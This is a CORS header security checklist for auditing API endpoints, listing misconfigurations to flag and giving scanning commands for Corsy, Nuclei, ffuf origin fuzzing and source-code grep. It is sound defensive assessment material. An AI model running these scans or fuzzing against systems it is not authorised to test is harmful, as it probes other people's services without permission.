CORS Header Security Checklist

CORS Response Header Audit — run for every API endpoint:
□ ACAO header present?
  □ If ACAO: * → is endpoint sensitive or authenticated? → FINDING
  □ If ACAO: null → FINDING
  □ If ACAO reflects Origin → CRITICAL FINDING (check for ACAC: true)
  □ If ACAO is a static allowlisted value → is that origin fully trusted?

□ ACAC: true present?
  □ Only allowed when ACAO is a specific origin (not *)
  □ Is that specific origin resistant to XSS and subdomain takeover?

□ Vary: Origin present?
  □ If server does origin-dependent ACAO and Vary is missing → cache poisoning risk

□ ACAH header → does it expose dangerous headers unnecessarily?
□ ACAM → unreasonably long pre-flight cache duration?

Tool Quick Reference

# Corsy:
corsy -u TARGET/api/endpoint -H "Cookie: session=TOKEN"

# Nuclei:
nuclei -u TARGET -tags cors

# ffuf origin fuzzing:
ffuf -u TARGET/api/user -H "Origin: FUZZ" -w origins.txt -mr "access-control-allow-origin"

# Burp:
# Repeater → add Origin header → observe ACAO in response
# Scanner → CORS misconfiguration checks (Active Scan)

# Manual grep for reflection patterns in source:
grep -rn "req.headers.origin\|request.headers\['origin'\]\|getHeader.*Origin" .
grep -rn "allowedOrigins\|corsOrigins\|whitelist.*origin" .

← Web top ↑